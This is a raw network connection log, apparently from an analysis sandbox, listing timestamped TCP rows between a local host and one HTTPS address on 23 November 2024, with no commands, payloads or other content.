Nov 23, 2024 15:38:54.891212940 CET	443	49982	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:54.901778936 CET	443	49981	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:54.905113935 CET	443	49981	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:54.905157089 CET	443	49981	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:54.905174017 CET	49981	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:54.905225992 CET	49981	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:54.905266047 CET	49981	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:54.905288935 CET	443	49981	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:54.905301094 CET	49981	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:54.905308008 CET	443	49981	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:54.908551931 CET	49986	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:54.908579111 CET	443	49986	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:54.908657074 CET	49986	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:54.908845901 CET	49986	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:54.908860922 CET	443	49986	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:55.334549904 CET	443	49982	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:55.337956905 CET	443	49982	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:55.338135958 CET	49982	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:55.338185072 CET	49982	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:55.338200092 CET	443	49982	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:55.338208914 CET	49982	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:55.338213921 CET	443	49982	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:55.341054916 CET	49987	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:55.341078043 CET	443	49987	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:55.341154099 CET	49987	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:55.341296911 CET	49987	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:55.341308117 CET	443	49987	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:55.730463028 CET	443	49983	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:55.772337914 CET	49983	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:55.818649054 CET	49983	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:55.818662882 CET	443	49983	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:55.839600086 CET	49983	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:55.839632034 CET	443	49983	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:56.157599926 CET	443	49984	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:56.171673059 CET	49984	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:56.171689987 CET	443	49984	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:56.172493935 CET	49984	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:56.172498941 CET	443	49984	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:56.182764053 CET	443	49983	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:56.185951948 CET	443	49983	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:56.186001062 CET	49983	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:56.186131001 CET	49983	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:56.186146021 CET	443	49983	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:56.186156988 CET	49983	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:56.186168909 CET	443	49983	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:56.189754963 CET	49988	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:56.189796925 CET	443	49988	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:56.189870119 CET	49988	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:56.190068960 CET	49988	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:56.190083027 CET	443	49988	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:56.600342989 CET	443	49984	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:56.603634119 CET	443	49984	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:56.603698015 CET	49984	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:56.603717089 CET	443	49984	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:56.603735924 CET	443	49984	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:56.603790045 CET	49984	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:56.603832960 CET	49984	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:56.603849888 CET	443	49984	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:56.603861094 CET	49984	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:56.603867054 CET	443	49984	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:56.606962919 CET	49989	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:56.607000113 CET	443	49989	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:56.607074022 CET	49989	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:56.607224941 CET	49989	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:56.607233047 CET	443	49989	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:56.622066021 CET	443	49986	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:56.622550011 CET	49986	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:56.622570992 CET	443	49986	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:56.623176098 CET	49986	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:56.623182058 CET	443	49986	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:56.652353048 CET	443	49985	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:56.652781010 CET	49985	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:56.652801037 CET	443	49985	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:56.653325081 CET	49985	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:56.653330088 CET	443	49985	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:57.060257912 CET	443	49986	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:57.063513994 CET	443	49986	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:57.063574076 CET	443	49986	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:57.063596964 CET	49986	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:57.063644886 CET	49986	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:57.063705921 CET	49986	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:57.063730001 CET	443	49986	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:57.063743114 CET	49986	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:57.063750982 CET	443	49986	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:57.067401886 CET	49990	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:57.067445993 CET	443	49990	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:57.067575932 CET	49990	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:57.067753077 CET	49990	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:57.067766905 CET	443	49990	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:57.112937927 CET	443	49985	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:57.115991116 CET	443	49985	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:57.116082907 CET	49985	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:57.116343021 CET	49985	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:57.116369009 CET	443	49985	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:57.116384983 CET	49985	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:57.116390944 CET	443	49985	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:57.123395920 CET	49991	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:57.123430014 CET	443	49991	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:57.123498917 CET	49991	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:57.123698950 CET	49991	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:57.123709917 CET	443	49991	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:57.141208887 CET	443	49987	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:57.145689011 CET	49987	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:57.145714045 CET	443	49987	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:57.146190882 CET	49987	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:57.146197081 CET	443	49987	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:57.822621107 CET	443	49987	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:57.822798014 CET	443	49987	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:57.822870970 CET	49987	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:57.823692083 CET	49987	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:57.823709011 CET	443	49987	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:57.823719978 CET	49987	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:57.823724985 CET	443	49987	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:57.827126980 CET	49992	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:57.827157021 CET	443	49992	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:57.827280998 CET	49992	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:57.827604055 CET	49992	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:57.827620029 CET	443	49992	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:58.129113913 CET	443	49988	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:58.159188032 CET	49988	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:58.159205914 CET	443	49988	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:58.159693003 CET	49988	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:58.159697056 CET	443	49988	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:58.461255074 CET	443	49989	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:58.464592934 CET	49989	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:58.464616060 CET	443	49989	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:58.470674992 CET	49989	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:58.470689058 CET	443	49989	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:58.583245039 CET	443	49988	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:58.586270094 CET	443	49988	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:58.586337090 CET	49988	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:58.586401939 CET	49988	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:58.586425066 CET	443	49988	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:58.586436033 CET	49988	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:58.586443901 CET	443	49988	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:58.589802980 CET	49993	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:58.589848995 CET	443	49993	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:58.589926004 CET	49993	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:58.590167999 CET	49993	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:58.590186119 CET	443	49993	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:58.858505964 CET	443	49991	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:58.860387087 CET	443	49990	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:58.861066103 CET	49991	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:58.861066103 CET	49990	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:58.861088991 CET	443	49991	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:58.861103058 CET	443	49990	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:58.861610889 CET	49991	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:58.861617088 CET	443	49991	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:58.861639977 CET	49990	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:58.861648083 CET	443	49990	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:58.913079977 CET	443	49989	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:58.916038036 CET	443	49989	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:58.916163921 CET	443	49989	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:58.916246891 CET	49989	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:58.916318893 CET	49989	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:58.916333914 CET	443	49989	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:58.916343927 CET	49989	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:58.916348934 CET	443	49989	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:58.918984890 CET	49994	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:58.919029951 CET	443	49994	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:58.919121981 CET	49994	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:58.919269085 CET	49994	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:58.919286013 CET	443	49994	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:59.292524099 CET	443	49991	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:59.295553923 CET	443	49991	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:59.296124935 CET	49991	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:59.296171904 CET	49991	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:59.296188116 CET	443	49991	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:59.296200037 CET	49991	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:59.296205997 CET	443	49991	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:59.299544096 CET	49995	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:59.299597025 CET	443	49995	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:59.299678087 CET	49995	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:59.299894094 CET	49995	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:59.299910069 CET	443	49995	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:59.303221941 CET	443	49990	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:59.306762934 CET	443	49990	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:59.306876898 CET	49990	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:59.306876898 CET	49990	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:59.306999922 CET	49990	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:59.307018995 CET	443	49990	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:59.309279919 CET	49996	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:59.309324980 CET	443	49996	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:59.309401035 CET	49996	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:59.309570074 CET	49996	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:59.309586048 CET	443	49996	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:59.612988949 CET	443	49992	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:59.654547930 CET	49992	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:59.654578924 CET	443	49992	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:59.655167103 CET	49992	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:59.655179977 CET	443	49992	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:00.055721045 CET	443	49992	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:00.058804989 CET	443	49992	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:00.058912992 CET	443	49992	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:00.058912992 CET	49992	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:00.058979034 CET	49992	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:00.059043884 CET	49992	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:00.059081078 CET	443	49992	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:00.059098005 CET	49992	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:00.059104919 CET	443	49992	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:00.062453032 CET	49997	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:00.062477112 CET	443	49997	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:00.062566042 CET	49997	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:00.062731028 CET	49997	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:00.062742949 CET	443	49997	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:00.305268049 CET	443	49993	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:00.306005955 CET	49993	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:00.306030989 CET	443	49993	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:00.306658030 CET	49993	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:00.306663990 CET	443	49993	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:00.640713930 CET	443	49994	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:00.641247988 CET	49994	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:00.641283035 CET	443	49994	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:00.641726971 CET	49994	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:00.641736031 CET	443	49994	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:00.741066933 CET	443	49993	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:00.741142035 CET	443	49993	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:00.741230011 CET	49993	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:00.741782904 CET	49993	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:00.741806030 CET	443	49993	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:00.741825104 CET	49993	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:00.741832018 CET	443	49993	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:00.744684935 CET	49998	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:00.744734049 CET	443	49998	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:00.744942904 CET	49998	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:00.745167971 CET	49998	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:00.745181084 CET	443	49998	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:01.023049116 CET	443	49996	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:01.069204092 CET	49996	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:01.078964949 CET	443	49994	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:01.081903934 CET	443	49994	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:01.081986904 CET	49994	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:01.082017899 CET	443	49994	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:01.082041025 CET	443	49994	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:01.082092047 CET	49994	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:01.112406015 CET	443	49995	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:01.163001060 CET	49995	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:01.439915895 CET	49996	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:01.439960003 CET	443	49996	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:01.440519094 CET	49996	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:01.440530062 CET	443	49996	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:01.440663099 CET	49994	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:01.440690041 CET	443	49994	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:01.440706015 CET	49994	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:01.440715075 CET	443	49994	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:01.440987110 CET	49995	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:01.441010952 CET	443	49995	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:01.441680908 CET	49995	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:01.441689014 CET	443	49995	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:01.599334002 CET	49999	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:01.599371910 CET	443	49999	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:01.599442959 CET	49999	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:01.600204945 CET	49999	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:01.600218058 CET	443	49999	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:01.758044004 CET	443	49996	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:01.761102915 CET	443	49996	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:01.761190891 CET	49996	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:01.770510912 CET	443	49995	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:01.770592928 CET	443	49995	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:01.770657063 CET	49995	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:01.787746906 CET	443	49997	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:01.799734116 CET	49996	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:01.799777031 CET	443	49996	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:01.799799919 CET	49996	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:01.799808979 CET	443	49996	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:01.810488939 CET	49995	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:01.810516119 CET	443	49995	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:01.810530901 CET	49995	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:01.810538054 CET	443	49995	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:01.813261032 CET	49997	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:01.813276052 CET	443	49997	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:01.815531969 CET	49997	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:01.815536022 CET	443	49997	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:01.825098991 CET	50000	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:01.825131893 CET	443	50000	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:01.825191021 CET	50000	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:01.825620890 CET	50000	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:01.825637102 CET	443	50000	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:01.825865984 CET	50001	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:01.825905085 CET	443	50001	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:01.825962067 CET	50001	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:01.826093912 CET	50001	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:01.826109886 CET	443	50001	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:02.221219063 CET	443	49997	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:02.224354029 CET	443	49997	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:02.224431038 CET	49997	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:02.224463940 CET	49997	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:02.224484921 CET	443	49997	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:02.224495888 CET	49997	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:02.224500895 CET	443	49997	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:02.227899075 CET	50002	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:02.227938890 CET	443	50002	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:02.228022099 CET	50002	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:02.228203058 CET	50002	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:02.228214979 CET	443	50002	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:02.545655012 CET	443	49998	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:02.546225071 CET	49998	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:02.546246052 CET	443	49998	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:02.546696901 CET	49998	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:02.546704054 CET	443	49998	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:02.997992992 CET	443	49998	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:02.998032093 CET	443	49998	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:02.998100042 CET	49998	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:02.998114109 CET	443	49998	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:02.998249054 CET	49998	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:02.998331070 CET	49998	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:02.998347998 CET	443	49998	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:02.998358965 CET	49998	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:02.998367071 CET	443	49998	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:03.001631975 CET	50003	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:03.001652002 CET	443	50003	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:03.001738071 CET	50003	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:03.001877069 CET	50003	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:03.001888990 CET	443	50003	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:03.452235937 CET	443	49999	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:03.456300020 CET	49999	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:03.456336975 CET	443	49999	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:03.456787109 CET	49999	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:03.456794024 CET	443	49999	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:03.604180098 CET	443	50001	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:03.604659081 CET	50001	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:03.604729891 CET	443	50001	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:03.605165005 CET	50001	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:03.605180979 CET	443	50001	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:03.612488031 CET	443	50000	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:03.613704920 CET	50000	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:03.613734007 CET	443	50000	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:03.614125013 CET	50000	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:03.614130974 CET	443	50000	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:03.905433893 CET	443	49999	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:03.908350945 CET	443	49999	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:03.908431053 CET	49999	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:03.909470081 CET	49999	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:03.909490108 CET	443	49999	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:03.909501076 CET	49999	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:03.909506083 CET	443	49999	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:03.971959114 CET	50004	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:03.971992970 CET	443	50004	13.107.246.63	192.168.2.5
Nov 23, 2024 15:39:03.972069025 CET	50004	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:39:03.983620882 CET	50004	443	192.168.2.5	13.107.246.63
